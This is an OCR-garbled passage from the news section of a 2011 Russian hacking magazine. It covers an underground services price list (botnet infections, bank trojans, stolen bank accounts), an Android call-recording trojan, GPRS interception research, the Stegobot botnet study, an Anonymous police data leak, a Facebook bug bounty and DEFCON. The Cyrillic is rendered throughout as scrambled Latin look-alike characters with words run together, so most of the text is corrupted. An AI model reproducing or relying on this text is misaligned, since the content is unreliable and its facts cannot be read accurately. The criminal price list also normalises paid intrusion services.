Kpome penerTpebytoTcs pekoMmeHaaLum ot
3apernucTpupoBaHHbIX NoNb30BaTeseil.

HepensnnaTHol peknambl Ha
3aKPbITOM XakepckoM GopyMe.

XAKEP 10/153/2011

[laMn MarHuTHO nosockl
6aHKOBCKO/ KapThl.

Cnnoutnak—Habop A5 3apaxeHus
KOMMbloTepoB (rofoBas nuLeH3us).

Monb3oBaHue Double VPN-cepBucom
N9 3G deKTUBHON aHOHUMU3aL K
(B Mecsy).

3apaxeHue Tbicsun KomnbloTepos B CLUA
yepe3 KayeCTBEHHbI B3NOMaHHbIN CalT.

Abuse-yCTONYMBBIA XOCTUHT BbIBOS, BOPOBaHHbIX fileHer 6aHKOBCKUM
(s mecsu). nepesogoM (01$5000).
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TexHONOrNYHbIiA [ocTynk 6aHKOBCKOMY aKKayHTy
6aHKOBCKUN TPOSH. cbonblunm banaHcoMm.

;5

e -‘

AKTMBALMSA N0OOrO MHTEPHET- BaHkoBckasikapTaucyeTs
cepBucaHanesbliiTenedoH eBponeickoM batke, 0dOpMAEHHbI
SMS’Koin 1160 3BOHKOM. HaMnofCTaBHOE NINLLO.

o

3apaxeHue TbICAYN KMTANCKUX KOMMbloTe- Mopnucka Ha socks-cepsuc
POB HeYCTaHOBIIEHHOTO MPOUCXOXKAEHNS. (B Mecau).
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MEGANEWS

CTPAHWUYKY NABJIA LYPOBABKOHTAKTE AEEQEMCHYJIN pydepsl, KoTopble 3a6panuch B opuc COLCETH M MOMEHSAN CTATyC Cero KoMAbloTepa

ANDROID-TPOAH CJTYLLAET TEBA

MAJIBAPbHAYYUJICA SANUCBIBATb NEPEFOBOPbI

Mexay npoyum, no
MHeHuto «JlabopaTo-
punKacnepckoro»,
BOBTOPOMKBapTane
2011r.0aHOM M3
OCHOBHbIXYrpo3
CTaNu MMEHHO
Mo6UNbHbIE BUPYCHI.
KonuyectoManBaps
ansAndroid 0SBo3-
pocnosTpupasano
CPaBHEHUIO CNEePBbIM
KBapTanom

NOSIBIEHUN KPaiiHe HeNPUATHOTO TPOSIHA, OPMEHTUPOBAHHONO Ha ieBalChl Ha

nnatpopme Android, coobwmnu cneunanmctsl komnaHum CATechnologies.

NHbuumpoBaByCTPOINCTBO, ManBapb noayyYaeT KOHPUIypaLMoHHbIN daiin, co-
LlepXaLlnii 0CHoBHY HbOpMaLLMio 06 yLaneHHoOM cepBepe 1 napaMeTpax. 3aTanBLUKCh,
TPOSIH MOJ)KMAAeT, KOrfa nosb3oBaTe b HAYHET pPa3roBop, a fOXKAaBLUUCh, 3aMNCbIBaeT
eroB popmate ARM, coxpaHss B katanore shangzhou/callrecord Ha kapTe namaTu
(SDCard). Byans, dain rotos fs nepesadu Ha yaaneHHsii cepsep. KoHeuHo, paHee no-
pobHas ManBapbToXe NepexsaTbiBanau pUKcUpoBanafaHHble, OyaAbTo AANTENbHOCTD
3BOHKOB, HOMepa BXOJALLMX M UCXOAALLNX HOMEPOB M TOMY NOf,06H0e, 0AHAKO CaMy pa3-
roBopbl BCe e He 3anuceiBa. o cnosam cotpyaHukos CATechnologies, 3To noka cBoero
pofanpoToTun. [lenoBTOM, 4TO MpOranokaHe yMeeTycTaHaBAMBATLCS CAMOCTORTEIbHO:
noTeHLMaNbHas XepTBa [OJKHA COMNaCUTLCS YCTaHOBUTb MPUIIOXKEHNE, pa3peLLnB eMy
3annch 3ByKa, YTEHME AaHHbIX 0 COCTOSIHUM TenedoHa U NpeoTBPaLLeHUe 3acbinanns
ycTpoicTBa. YTo xakepbl CTaHyT AenaTh, 3aN0/1y41B 3aNMCU pa3roBopoB, He COBCEM AICHO,
HO Napa HexXopOLUMX Meil Ha 3TOT CHeTYXKe NPULLLIA HaM B FoJ10BY.
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rnynocTb NIIOACKAA HE BHAET FPAHUL

70% POCCUUCKUX IO3EPOB
HEMOIYT OTJIMMUTDL NUPAT-
CKUM KOHTEHT OT NErAJib-
HOro, ECJIUMuBEPUTH ONPOCY
®OHAA «OBLLECTBEHHOIO
MHEHUSA»

GPRSHEYCTOAJ

HOBbI 0EPA3LI0BO-MOKA3ATE/IbHbIA
B3JIOM COTOBbIX CETEH

bl Y>K€ HEOLLHOKPATHO pacckasbiBanutebe o kpun-

Torpade, uccnefoBaTesne MNPoCTO UHTEPECHOM

yenoseke —KapcTteHe Hone. Hanpumep, napy
fleTHa3a4 0H NPOAEMOHCTPUPOBan BlofXeTHbIN (Ho 0YeHb
nelcTBeHHbIi) cnocob Banoma GSM-ceTelt, ans KoToporo
TpeboBanach UL CBA3KA «HOYTOYK — COTOBbIN», NPUTOM
B KavyecTBe MOBMNKW MOraa BbICTynaTb caMas NPUMUTUBHas
Mopenb «MoToposnbl» 3a 15 fonnapos.

Tenepb rnaBHbIA HAay4YHbINA COTPYAHMK bepnnHckoi Security
Research Labs pewunnogsepriyTs 060cHOBaHHON KpUTHKe
GPRS. Kak 1 BnpoLwblii pas, BUHOBHbIMU BYsi3BUMOCTH GPRS
0Ka3aNucb He N0Nb30BaTENN M JaXe He annapaTHo-copTBepHas
coCTaBNAOLAsA caMuX rafxeToB. Bcsi BUHA Ha KPYMHbIX CO-
ToBbIX OMepaTopax, Takux kak T-Mobile, 02 Germany, Vodafone,
KOTOpble Ucnonb3ytoTHebesonacHyto peanusauuto GPRS.
KpunTosawwmTtae GPRS ucnonb3yeTtcs 4oBONbHO peAKo, a eciin
Laxe nnpuMeHseTcs, To, cocnosHona, sBnseTcs «besHagexHo
ycTapeBLUei». HeyanBuTeNbHO, yunThIBas, YTo flaxe 128 6utHas
cXxeMa LN POBAHUS NPaKTUYECKU HUKEM U HUT e He MPUMEHS -
etcs. [onyyaeTcs, 4To, COAHON CTOPOHbI, Mbl UMEEM OTCYTCTBUE
B3aUMHOMN ayTEHTUdUKALMK, YTO MO3BONISET Xakepy NoaAeNnaTh
CBOEYCTPONCTBO MOAJIETUTUMHBI TepMUHa aboHeHTa, n
ba3oBas coToBas cTaHUus byfeTnepefaBatb xakepy Tpaduk
HW4eroHe nojo3peBatLmx 03epos. C 4pyroi CTOPOHbI, KOPOT-
KWe KNto4m co34atoTycnoBus Ans becnpensaTcTBEHHbIX aTak ¢
MCNONb30BaHMEM PafyKHbIX TabauL,.

KapcteH HoncyMen HallTV B TEXHONOM MW CEPbE3HYI0 y3BU-
MocTb. B pamkax xakepckon koHdeperuun Chaos Communication
Camp 2011, npowepweii HegaBHo B [epMaHuu, uccneposatesb
nposeMoHcTpuposan MO anacHudunra GPRS, npy nomoLym koTo-
poroaaxe nobutenscymeeTnepexsatuts GPRS-AaHHble, ecnn
Tpadumk He KoaupyeTcs. Ho faxe npu BKIOYEHHOM LWndpoBaHUn
aTakaBO3MOXHa: BO BpeMs CBoero fjokfasna Hontakxe nokasanm
HEKOTOpPbIE TEXHUKU KpUNTOaHaN13a, 6narofaps KOTOPbIM MOXHO
6e3ocobbixnpobnemaewndpoBatb Tpaduk GPRS co cnaboit
3awunToi. Kcnosy, npeAcTaBieHHas TEXHONOrUs No3BoaseT
nepexBaTbiBaTh AaHHbIe B paguyce 5km!

MccnepoBaTtenbotnaeTcebe 0T4ETBTOM, YToero copTt
MOXeTnofBeprHyTbonepatopos GPRS, He nonb3ytowmxcs
KOAMPOBaHMEM, HENOCPeACTBEHHOW onacHocTu. OgHaKo aTo
eromanocmyuaet. HonHageetcs, 4To cyMeeTTakuM obpasom
MOATONIKHYTb COTOBbLIX OMepaTopoB K BHeApeHWio bonee
3almnieHHbIX cucteM wndposarus. Ecnnxe nocne Chaos
Communication Camp peakynu 0T onepaTopoB He Bocnoce-
LyeT, 3KCnepT BCepbe3 HaMepeBaeTcs ony6aMKoBaTb CBOM
pa3paboTkn B OTKpbITOM AocTyne. Y10 X, noXanyn, ataku
XaKepOoB TOXE XOPOLUas MOTUBALMS.

KapcTen Hon paBHo 3aHnMaeTcs 6e30nacHOCTbIO COTOBLIX CETEN
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#hacker tweets

TeuTTep BnociefHee BpeMs CTal HaCTOALWEeN KNaAe3btlo 3HaHU N0 MHPopMaLMOHHOV be3onacHo-
cTu. Ho ato cneacTBue. BaxHa npnynHa — TBUTTep cTan MecToM, rae obutaeT TyCOBKa CaMbiX Npo-
ABUHYTbIX pecepyepoB 1 xakepoB. YTo0Obl BOBseYb Teba B 3TOT MUP 1 NpnbAn3nTs K annte, Anekcen
CuHuoB (@asintsov) B 3ToM KoIOHKe ByAeT eXXeMecsyHo 0TOUPaTh CaMble MHTepPEeCHbIe TBUTHI.

fAChrisJohnRiley:

~= [oporoin [@google, HekoTopble K3
Hanbonee MHTepecHbIX JilofeN,
KOTOPbIX i 3Hat0, UCMOJb3YIOT

nceBAoHWUMBI... BaHWTb nx Ha G+ 3a 370, 3T0
nenaet Teba becrnonesHbim!

f@SecurityHumor:

Google+ CAPTCHA: «Ham HyxHo

YLLOCTOBEPUTLCS, YTO Bbl Yes0BeK.

BBeguTe Balle peanbHoe UMs,
HoMep TesiedhoHa, a TakKe HOMep CoLMasbHO-
ro CTpaxoBaHWs WKW HOMep macrnopTa, nocne
4yero HaXXMuTe KHOMKY “f yenoBek ».

fa0xcharlie:

YuTato foknagbl.

PeveH3npoBaHve — crioxHas

wryka! A Mory ofobpuTb NnLb
15% TeM. Mos 3apaya — cfenatb RSA «Tex-
HUYEeCKOW» B 3TOM rogy, HO...

KoMMeHTapui: [paxagaHuH Yapnun

Mwunnep xanyetcs Ha TeMbl [JOKNIAA0B
[J15 OHOW U3 CaMbIX yBa)XaeMblX KOHpe-
peHumnin ropa — RSA. OpraHusatopbl Bbibpa-
nn Yapnu, 4tobbl 0To6paTh TeXHUYecKue
LOKNaAbl U caenatb KOHY «Kupee».

fAnickdepetrillo:

Mo xopy, Hapog, 3abbiBaeT, YTo

ecTb bosblias pasHuLa Mexay

«B3J10MaTh» LWNdpPOBaHWeE 1
«0bonTH» ero.

[@AVUPEN:

Java 7 Tenepb goctynHa. Bece mopy-

N MMetoT noaaepxky ASLR, a 3Ha-

yuT, 06onT ASLR c noMousio Java
ROP yxe He Bbiriger. Mosapasnsto Oracle/Sun!

fAtaviso:
Adobe vcnpasuna okono 400 yHu-
= KaslbHbIX Y3BMMOCTeW, KOTopble
A Bbicnan uM B APSB11-21 kak
yacTb paboT Mo NPOACIHKUTENILHOMY ayAuTy
6e3onacHocTu. He onevatka.

KommMmeHnTapmii: 400! MpocTo Yyyma.

Kctatn, He dakT, yto xoTs b6l 50 % 13
HUX Bblna «3aKcmayaTMpyema», Ho YACI0 3acily-
XKUBAeT yanBneHus. A ans nobonbITHbIX CCbl-
104Ka, Kak 310 bbio, — bit.ly/qjJzZD.

fatodb:

Pasnunune MeXny N3BeCTHbIMU

XakKepaMu U HacToALLMMN 3Ha-

MEHUTOCTAMUN B TOM, HYTO 3Ha-
MEHUTOCTU BOOﬁLLI,e-TO 3HalOT, Kak xoTs 6bl
MPUTBOPATLCA BEXITNBbIMU.

8 (Axme:
(4 Crassio pu3nyeckuii cepsep...

Kakas ckyka! Busa Buptyanu-

3auma!l

@kevinmitnick:
Tonbko yto npusemnuncs B Jlac-
Berace!!!

KoMMeHTapmi: Ara, HaroMmHalo, 4To
E HepaBHo bnakXat n [ledkoH npowen,
roe, kctatu, buino PEKOPAHOE konunyectso
Hawwmx pebat! I MUTHUK — TaMm Xe.

afrbbs:

JA 3annatun 50 Thic. bakcoB 3a

TECT Ha NMPOHUKHOBEHUE, U BCE, YTO

A MoJly4mns, — 3T0 3aryck cKaHepa
Nessus ceptuduumpoBarHbiM no CISSP ToBapu-
wiem. http://t.co/PehrnZn.

fAstephantsov:

Bnepep! Bnepepn! Bnepep,
koMaHga IV! Yoaun Bam, napHu
Ha #defcon!

KoMMeHTapmii:

Ara, pesysibTaT Mbl 3HaeM (ecsu Her,
yuTan matepuan npo Defcon CTF B 3ToM
Homepe). YTo X, oueHb Hemsoxo!

fApentestit:
Cnmncok SSL-ckaHepoB aJist neH-

Tectepos! http://bit.ly/08jSrT.

KoMMeHTapuii:
MHOFJJ,E B TBUTax bbIBaeT MMEHHO TO, 4TO
Tl ULLellb! MoToMy AaHHbBIR TBUT 1 Nonan coga.

fAstrOke:
ac tormsecurity.com +
exploit-db.com + FD + Daily
Dave + metasploit’'s changelog
— TsKeJio CAenath Kpyye.

KoMMeHTapuii:

MunBopMa AaBHO Y HET, 1 ero co3fa-
Tesnb (@strOke) paBHo 3a6un Ha 3TOT NPOEKT.
A pecypcoB Co CrloiTaMy, Kak BCerfia, MHoro.

i Q41414141
; Onstb dpencnanm! «Cepsep Cisco
TelePresence [...] Bkntouaet
ydeTHyto 3anuchk root [u napons],
KOTOpas BKJIKOYEHA MO YMONYAHMI0».

http://t.co/xjW27eW.

f@0xcharlie:

Bay! 010 Editor Tenepb ecTb 1 ans
Mac 0S X. [loBosIbHO CKOpPO MHe
BoOOLLEe He HyHa byneT BuHAa!
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HEQABHOBKUTAE 3AKPbIJIU 22 JIUNOBbIXMATA3UHA APPLE, koTopble BTOMHOCTU KONUpoBanu oduumanbHbie 6yTuku Apple Store.

«AHOHVIMYCbI»
HOBPATTNCE 0O MOJIMLINN

UMAUMJIETUOH, UY HUX OYEHDb AJINHHDBIE PYKU

0X0Xe, CKopo byneTnpolye ckasatb, koro ewe HE xak-
m Hynn AHoHbl. Kamnanus AntiSec HabupaeTtobopoThl,

nTenepboyepesb powna o nonvunn CLLUA. Ataka
bbina coBeplieHaHa 77 Beb-pecypcos, NpeuMyLLLECTBEHHO Ha
caiiTbl Wwepudcknxynpasnenni B itatax Jlynsnara, ApkaHsac,
Muccmeunumm Kansac. lo HenoATBepXAEHHbIM faHHbIM, M0~
cTpafanaTakike noavuenckas akapgemMms vbasa faHHbix C
MHbopMaLmel 0 3aktoYeHHbIX. Kak 6bl To HK bbino, B cyMMe
xakepaMmypganocb3anonyunts 6osnee 10 rurabantTpodenitbix
AaHHbIX, Cpen KoTopbix bbina pasnuyHas nHpopmaums o bonee
4em 7000 coTpyaHWMKOB NPaBoOOXPaHNUTENbHbIX OPraHoB. YTek 10
BCe —JI0MVHbI, NapoJin, HOMepa CoLMaNbHOro CTPaxoBaHus,
LaHHble 6aHKOBCKNX KapT, aipeca 1 JaXe 3/1eKTPOHHbIe
nucbMa. PasymeeTcs, npsTaTh A0o6bIYYy 0T ceTeBOV 00Ol eCTBEH-
HOCTW XaKepbl He CTaM W BbIJIOXKUIN BCE faHHbIE B OTKPbIThIN
pocTyn. [lononHuTeIbHO penyTauuio NOANLUM NOANOPTUA NTOT
$aKT, 4TOy MHOTUX COTPYAHUKOB 0OHapPYXXUANCh HeHafeXHble,
npocTble naposiv (0bbiYHble CI0BapPHbIE CI0BA, UX UMEHa AN
HOMepa 3HauKoB). KcTaTu, «AHOHUMYCbI» 3a9BNSI0T, YTO CIIMB
MHbI—MecTb3aHeaBHUI apecT 14 YenoBek, 06BUHEHHbIX
BY4YaCTUM BaTaKax, CoBepLUEHHbIX BjeKabpe v HapyLINBLLINX
neatenbHocTb PayPal. CnoBoM, «AHOHMMYC He MpoLiaeT» u He
NeHnTCs 06 3TOM HaNoMUHaTb.

TeMBpeMeHeMKTO-TO
cnunHaPastebin
RaHHble 0 YneHax
nonuuuu BART (Bay
AreaRapid Transit).
Wndopmauus ob ume-
Hax, appecaxmcyeTax
6oneeyem 100 nonm-
LelicKMX 0kasanucb
BOTKPBITOM joCTyNe.
0AHaKo, BO3MOXKHO, K
3ToMy Anonymous'bl
HenpuyacTHbI

rPAAETMOBUJIbHASIOCOT
MOZILLA.Ha dopyme ansa
paspaboTumkoe Mozilla
nosiBUN0Ch coobLeHne o ToM,
4YTO B CTaHe KOMNAHWUMU KUMUT
paboTtaHapnpoekToM Boot

to Gecko. OcHoBbIBaTbCA OC
6yneTHa pBMXKe Gecko, KoTo-
pbliiucnonb3yeTcs UB APYrux
npopykTtax Mozilla: Hanpumep
sFirefox'en Thunderbolt'e.
AkueHTBBootto Gecko byaer
cAenaHHaBeb-npunoxeHus,
HanucaHHble CNpUMeHeHueM
HTMLS.

AYOVOCVICTEMA

EDIFIERCS

HABOP KAYECTBEHHOM 2.1 1 2.1+ AKYCTUKU ANA

KOMMbIOTEPA

ponykuus Edifier yxxe MHoro netnonb3yetcs B Poccum
m 3aC/Iy)KEHHOW MoNyASPHOCTbIO, MOITOMY Mbl He

MOV NPOATY MUMO HOBOW Mofenn — C5. HoBuHKa
npeacTaBnseT coboit MynbTUMeANIHbIE KONOHKN 2.1 1 2.1+
(c BHewHUM ycunuTenem). Cuctema ocHauieHa 8-A0MMOBbIM
cabBydepoM 1 ABYXNONOCHBIMW CaTeNNINTAaMM C 3KPaHMNPO-
BaHHbIMU 3.5-010MMOBbLIMU AHAMUKaMU 1 3/4-[10AMOBLIMUN

LWeNKOBbIMUTBUTTEPAMNU.

BHeWwHWycnnnTens MoXeT N0XBacTaTbCA BCTPOEGHHbIMY
FM-TioHepoM, USB-pa3beMom u SD-kapapuaepom. BnonHe
0XKW[aeMo, 4TO yCTPOCTBO yMeeT npourpbiBate MP3, WMA
& PCM c pa3HoobpasHbIXx HOCUTENEN — HAaBUTALLMS N0 MEHIO U
KaTasioram oCcyL|eCTBASAETCS C MOMOLLbIO MyNbTa AUCTAHLMOH-

HOroynpaBaeHus.

TexHNYecKue XxapaKTepUCTUKN HOBUHKN:
e BbixogHas MowHOCTb: RMS9W x 2 +35W x 1 (THD=10%)
e CooTHowleHne curHan-wym: ™85 16 (A)

e WckaxeHue:0.5%

e BxopHoe conpoTusnenune: 10KOhm
e Husko4acTOTHbIN AUHaMUK: 8 fioiimMoB (210 MM), 3kpaHMpo-

BaHHbIN, 4 OM.

e CpeaHeyacToTHbIN fuHaMuK: 3.5 aoiiMa (92 MM), akpaHupo-

BaHHbIN, 4 OM.

e BblcoKo4acToTHbI fUHAaMUK: 13 MM, C LLIENKOBOW KynoNb-
HO MeMbpaHoW, 3KpaHUPOBaHHbINA, 4 OM.

e (Cabsydep:35BT.

3MJIHNPEAYNPEXAEHUNA
BblaeT eXXefHEeBHO KOMNaHUs
Google, npegocTeperas o BHe-
ApeHuu BpepoHocHoro M0 ans
npuMepHo 400 MnH nopei.

TPUCAMDBIXNJI0XO0 3ALLU-
LLLEHHbBIX counanbHbIx ceTH,
nonb3yowmxcs Haubonbwnm
«yCMexoMs y MOLIEHHUKOB, —
3To Facebook, Twitterun
MySpace, coobwaetkomna-
Hus Sophos.

XAKEP 10/153/2011
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BbIXOAIPAD 30TJIOXKEH o cnepytoweroropa, coobwaetusganue DigiTimes.

FACEBOOKHAIPALNT XAKEPOB

KPYNHEMWLIAS HANNAHETE COLCETb YYPEQUNA
HATPAZLY 3ANOMCK YSI3BUMOCTEWN

r"

CHavanaFacebook
opraHusoBancob-
CTBEHHbIN XaKepCcKuit
KOHKYpC, Tenepb
noowpsieT Xxakepos...
Tak 1 Ao xakepcKoii
KOHdepeHLnU
“M.MapkaHepaneko

nepys npuMepy Apyrux KpYnHbIX UFPOKOB PbIHKA, COLMaNbHas CeTb
Facebook pewmnnasanHTepecoBaTb noTeHLMaNbHbIX 10BLOB 6aros pybnem.
TouHee, ponnapoM. Llykepbepru koMnaHus yupeanau cneymanbHyio npo-
rpaMMy BbINaT, NoNy4YnBLIYo Ha3BaHue Security Bug Bounty. B pamkax fanHo
nporpaMMmbl, IOAMW, HallefLine ya3BUMOCTH M baru B cepBucax colManbHo cetu,
nonyyat3aaToeHbru. Ckonbko? 3aBUCUTOT Cepbe3HOCTM AblpKu. CTaHapTHas
HarpagnapaBHsetcs 500 fonnapam, ofHako pykoBoacTeo Facebook cynutunbonee
KpYnHOe BO3HarpaxAeHue 3a cepbe3Hble y93BUMOCTU. TOYHbIE CYMMbI NPU3TOM
He Ha3blBalOTCS, LieHa, Tak cKasaTb, foroBopHas. OcHoBHoe TpeboBaHue K ysi3BU-
MOCTSIM— BO3MOXHOCTb C UX MOMOLLbIO U3MEHWUTb MepPCOHaNbHble AaHHbIe MOJb-
3oBaTenei Facebook nnu e HapywnTb HacTpoiikn 6esonacHocTh cucTeMsl. Kak
npasuo, 3To Kacaetcs XSS-yaseumocTeir, 8 ToM yncne yassumoctu CSRF/XSRF, v
BHEeAPEHWS MPON3BONIbHOIO MPOrpaMMHoro koga. PasymeeTcs, nporpaMMma BbiniaTHe
pacnpocTpaHaeTcs Ha ys3BMMOCTU B CTOPOHHUX MPUIIOXEHUSX, UCMONb3YEMbIX UK
ncnonb3yrolmnx Facebook, a Takke Ha ysi3BMMOCTH, BbI3blBatoLLMe 0TKa3 0T obcy-
XKWUBaHWS MU PacchiiKy CnaMa c MprMeHeHneM colmanbHoi nHxeHepuu. Coobins
o HaleHHON ablpKe, cnefyeT AaTh coTpyaHukamM Facebook BpeMs fns ucnpasnexms
npobnembl v He ToponNUTLCSH 06HapoAoBaTh HalAeHHble HeAocTaTku. Hy v ele Ans no-
SIYYEeHWs lEHEeT HYXKHO NPOXUBATb B CTPaHe, He nonagatoLiei nof opucamkuuio CLLIA.
CpaBHeHwWs pagu HanoMHio, 4To Mozilla ceilyac rotoBa3annaTuTb 3a ya3BUMOCTb 3
Tbic. gonnapos, a Google —yxe 3133,7. «Kopnopauus gobpa», kcTaTu, yxe notpa-
TunaHa«onnatybaros» 6onee 300000 fonnapos. Y1o-ToxagHuyatoT Llykepbepru
COTOBApPWLLM.

O®JELIKWA—HACTOSILLEE 3J10 A1 KOPMOPALIMA

40% OPTAHU3IAUUU UMEIOT
BOBOPOTE OKO0JI050000USB-
YCTPOUCTB, 20%—0KO0J10
100000 YCTPOUCTB. NOTEPA
OJIELLKUA CBAXHbBIMU LAH-
HbIMUYPEBATA YUIEPBOM
NOYTUB 2,5MJ1H LO0JIJIAPOB!

XAKEP 10/153/2011

AECJIN
CTEFAHOI PAOUA?

WHTEPECHOE UCCJIEAOBAHUE
OB YXULPEHUAXBBOTHETAX

pynnanporpamMmuctoBu3 MHcTUTyTa nHdopma-

UMOHHbIXTeXHoNorni . Muapanpactxa (Muana) n

Yuusepcuteta Mnnuroiica (CLUA] ony6nunkosana no
appecyarxiv.org/abs/1107.2031 pe3ynbrathl A1060MbITHOrO
1ccnefoBaHNs, ,OKa3blBalollero, Y7o Co3fjaHne cTeraHorpa-
¢duyeckoro boTHeTa, nepepatoLLero nHGopMaL Mo Yepes coun-
asibHble CeTU, 3TO JOBOJIbHO MepCcrneKTUBHAS 1 3aHUMaTeNlbHas
WwTyKa. Ha BCAKkUii cnyyan ckaxy, 4To cTeraHorpadus —ato
HayKa 0 CKpbITo/i nepefaye MHGOPMaLIMM NyTeM COXPaHEHNS B
TaliHe camoro dakTanepegayn. MiccnegosaTtenu paccmatpu-
BaloTTeopeTuyeckKyt nporpammy Stegobot, koTopas, nonas
Ha KoMMbloTep nosib3osatens (06bIYHbLIM MyTeM — HanpumMep,
KJIMKOM 10 HEXOPOLLIEeN CChifiKe), BefeT cebs He coBceM 06bIYHO.
BmecTo nepefaun KoHpMAEHLMAIbHbIX AAaHHbIX HANPSMYIO, MO
CTapuHKe, Stegobot BbKMAaeT MOMEHT, KOrja KepTBa HauHeT
3arpyxaTtb B CeTb Kakne-nnbo nsobpaxeHus, n3awnppossbi-
BaeTyKpa/eHHble Napoan nHoMepa 6aHKOBCKMX KapT B rpadu-
yeckue dainbl c nomollblo cteraHorpadumu! Knpumepy, ogHa
3anuTas B Facebook JPEG-kapTurka c paspewerunem 720x720
nukcenos (MakcuManbHbili Ha Facebook pasmep) mMewaeT o
50 K6 nuHdpopmaunv bes BUANMbIX NOCNELCTBUI A5 KayecTBa
n3obpaxenns. Korgatakne 3apaxeHHble KapTUHKN NPOCMO-
TPUTNONb30BaTe b APYroro KoMnbloTepa, UHPULUMPOBAHHOTO
Stegobot'om, nHdopMayus nepesanuiuetca B ero dpoto. Asesb
BTOMXe Facebook'e 4151 3T0ro 4O0CTaTOYHO INLLL OTKPLITH MPO-
¢aiingpyrorotosepa, Tak Kak B colceTu pabotaeTnpeaBapu-
TeNbHasi 3arpy3ka n3obpaxeHui.

ViccnepoBaTenunpocynTany v faxke CMof,eNpoBanu
pacnpocTpaHeHue nHdopmaLmumn yepes Stegobot Ha npumepe
doToxocTurra Flickr. OHun amynuposanu cetb 3 7200 cBA3aH-
HbIX Py C ApYrOM akkayHTOB, NP1 3TOM BOCNPOMU3BEAS 4acTOTy
BblKNaablBaHus poTorpaduit. CnpstarHble B U30bpakeHnax
LaHHble Monanu B pyku xo3sieB runoteTnyeckoro botHeTa
o4yeHb bbicTpo. ToecTbaTo paboTaer.

KpoMe Toro, Bce 3T0 MOXHO MCNOJIb30BaTb M B 0HpaTHOM Ha-
npasneHnu. Xo3seBaTakoro6oTHeTaMoryTBOpOCUTbL B UHTEP-
HeTKapTUHKM C 3alMPOBAHHbIM B HUX UCMONHAEMbIM KOAOM, U
04Y€eHb CKOPO 3TOTKOJ MonafieT Ha 3apa)KeHHble KOMMbl, pa3faB
1M COOTBETCTBYIOLLME «TTPUKA3bI».

Bor-macTep

CouumanbHas
ceTb
(facebook)

—) YkpapeHHble —) KoMmaHgp! — Mansaps

AaHHble
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MATEHTHBIE BOMHb

NPOTUBOCTOAHUE GOOGLE UAPPLE/MICROSOFTHABUPAET O60POTbI

bl HABEPHSKA CJTbILLIA 0 TOM, YTO BMOCHeHNe MeCsiLbl
BOKPYr MOBWbHbIXYCTpoiicTB Ha nnaTtdopme Android
MNXMPOM3BOANTENEN BypNaTHeWYyToYHble CTPaCcTy.
CTonTX0TS Obl BCMOMHUTL cyfiebHble MCKM KoMnaHum Microsoft
k Samsung’y v Barnes & Noble, ucku Apple k HTC'y n Motorola
ntak ganee.Bceasucatum e CMUyxe faBHo 3arosopuin o
HACTOALYMX NATEHTHbIX BOMHax (Takas TakTUKa, B 06LieM-To,

He HoBa), oaHaKo Tenepb 1 B Google OTKPLITO FOBOPSAT 0 TOM Xe
camoM. [naBHbii opucT Google 13Bua IpaMMoHp, B opuLm-
anbHOM bnore koMnaHuu 3assu, 4to Microsoft, Applen Oracle
opraHusosanunpotus Android’a uenyio kamnaHuio, Lesbio
KOTOPOM ABNSETCSH B3BUHTUTD LLeHbI Ha yCTPOCTBA Ha 3TOM
nnatdopMe. Kak Tbl MOHWMaellb, 0CHOBHbIM OPY)XXMEM, KOTOpoe
KOHKYpEHTbI Mcnonb3yoT npotue Android'a, sensioTca naTeH-
Tbl. CyTb CBOANUTCS KTOMY, 4T0ObI yninuunTh Google B HapyLweHuu
3TUX CaMblX NaTEHTOB M 3aCTaBNTb NPOM3BOANTENEN YCTPONCTB
HaAndroid'e BbINNaYnBaTh 0TYMCAEHUS NATEHTOAEPXKATENAM.
BcBoemnocTe lpaMMoHp 0cobo nogyepkHyn, 4to Google
HaMepeHa 3awuwats nnatdopmy Android. leicTBuTENBHO,
nopa bblyxe, BefbkoMnaHus Apple yxe fobunack BpeMeHHOro
cynebHoro3anpeTaHanpogaxunnarweraSamsung Galaxy Tab
10.1 HaTeppuTopuu cTpaH EBpocotosa (npasaa, ero Kk MOMeHTy
ny6avkaumuunyxe cHsnul.

CYYUII0Cb HEBEPOSATHOE U
YOAUBUTEJIbHOE — koMnaHus
Adobe, yeit Flash yxe paBHo
CTanHeoTbeMNeMoi YacTbio
CeTu, HaKoHeL-To NofAepXa-
naanbtepHatusHoe 10 gns
co3paHus Beb-aHMMaLmm ¢
NOMOLLbIO OTKPbITbIX CTaH-
npapToB, BKatoyas HTML5,
CSS3wuJavaScript. Beta-
Bepcusnporpammbl Adobe
Edgeyxe BblwnaBcBeT, pac-
npocTpaHsaeTcs 6ecnnaTtHo,
neeyxeMOXHO 3arpysuTbc
cantaAdobe Labs.

014

1000

naTeHTOB HeAaBHO
npuobpenakoMnaHus
GoogleykoMnaHuu
IBM, npuyem paneko
He BCe U3 HUX COOT-
BETCTBYWTNpodunio
KoMnaHuu.MpocToB
HaluBpeMeHayKoro
6onblue naTeHToB, TOT
nKpyye

DEFCON 19

KPYNHEMLLAS B MUPE XAK-KOH®EPEHLIUA
NPOLUJIABBEFACE

e TpaauLMOHHO KOHEL, aBrycTa 03HaMeHoBaJCs npo-
wepwwmMBJlac-Berace DEFCON. Ecnn Tl He 3Haellb,
4TO3TOTAKOE, TOXKYPHA, LOSKHO bbITh, Monank Tebe

BpyKMnoowmnbke. KoHdepeHLNs eXXeroHo NpoBOANTCS B

Berace vicobupaetThicsyn yenosek co Bcerommupa. 1o 3abbinm

TamBce aTu NtoaM? OHU NPUEe3NKatoT Ha OLHO U3 KPYMHENLLINX

XaKepCcKux cobpaHuii Ha HalleM LWapwKe, rae NOMUMO AOKNaL0B

©XEerofiHo MpoXoAAT v CaMble 3HaMeHUTbIe xakepckue (whitehat)

copeBHoBaHus Capture The Flag. Yto npuMeyaTenbHo, B aToM
rofy nporpamma koHoepeHuuu nononHmnacs kypcamu DefCon

Kids, paccynTaHHbiMU Ha fieTel 0T 80 16 neT, KoTopble XOTAT

y3HaTb, KaK CTaTb HPaBCTBEHHbIMM B3IOMLMKaMK. [leTuiuek

YYUII OTKPbIBATb 3aMKH, «B31aMblBaTb Google» nuncnonb3o-

BaTb WndpoBaHHoe 06LiEHNE.

HonepeipeMk B3pocnbiM. OnucbiBaTh AOK a6l U pe-
3eHTaLMWU He CTaHEM, K HUM Tbl MOXKeLLIb CAMOCTOATE/IbHO NpH-
obwumTbcsnoappecydefcon.org. ABoTcamoe NpuKkosibHoe cobbl-
Te KoHobl HazoBeM. MHorocTpaganbHblii AapoH Bapp, bbiBLLNIA
reHepanbHblii aupekTop HBGary, npucyTcTBoBan Ha KoHpepeH-
LMU MONYTalnHO, TaK KaK NOyYnUA MMCbMEHHOE yBEeJOMNIEHNE OT
